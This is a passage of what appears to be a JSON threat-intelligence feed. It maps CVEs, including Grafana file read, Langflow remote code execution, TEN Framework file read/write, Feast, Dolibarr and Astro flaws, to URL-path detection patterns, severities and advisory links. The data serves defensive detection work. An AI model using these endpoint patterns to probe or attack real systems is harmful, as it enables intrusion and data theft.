Read","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/public/plugins","reference_urls":["https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p","https://nosec.org/home/detail/4914.html","https://github.com/jas502n/Grafana-VulnTips","https://nvd.nist.gov/vuln/detail/CVE-2021-43798","http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html"]},{"tag_id":"CVE-2026-33017","tag_type":"cve","title":"Langflow < 1.9.0 - Remote Code Execution","severity":"CRITICAL","actively_exploited":true,"match_field":"url_path","matched_pattern":"/api/v1/build_public_tmp/00000000-0000-0000-0000-000000000000/flow","reference_urls":[]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-56159","tag_type":"cve","title":"Astro - Information Disclosure","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/pages/index.astro.mjs.map","reference_urls":["https://github.com/withastro/astro/security/advisories/GHSA-49w6-73cw-chjr","https://nvd.nist.gov/vuln/detail/CVE-2024-56159"]}],"data_as_of":"2026-10-13T22:17:02.602112+00:00"}